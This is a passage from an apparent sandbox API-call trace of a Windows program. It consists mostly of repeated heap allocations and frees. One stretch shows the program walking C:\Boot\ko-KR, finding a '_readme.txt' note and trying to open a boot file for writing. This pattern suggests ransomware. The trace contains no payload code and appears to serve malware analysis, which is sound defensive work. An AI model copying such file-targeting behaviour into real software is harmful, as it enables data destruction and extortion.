lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.597] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.597] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.597] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.597] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.597] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.597] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.597] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5ab8 [0059.597] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.597] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0059.597] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.597] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.597] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.597] PathFindFileNameW (pszPath="") returned="" [0059.597] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.598] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.598] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.598] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.598] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5ab8 | out: hHeap=0x670000) returned 1 [0059.598] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.598] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.598] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0059.598] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0059.598] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.598] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.598] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.598] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.598] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.598] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0059.598] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.599] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bb0210, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.599] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned=".txt" [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.599] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bb0210, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.599] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.599] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.599] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.599] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.599] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.599] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.599] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.599] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.599] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.599] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.599] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.599] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.600] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.601] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.601] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e54a0 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.602] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e54a0 | out: hHeap=0x670000) returned 1 [0059.602] RtlAllocateHeap 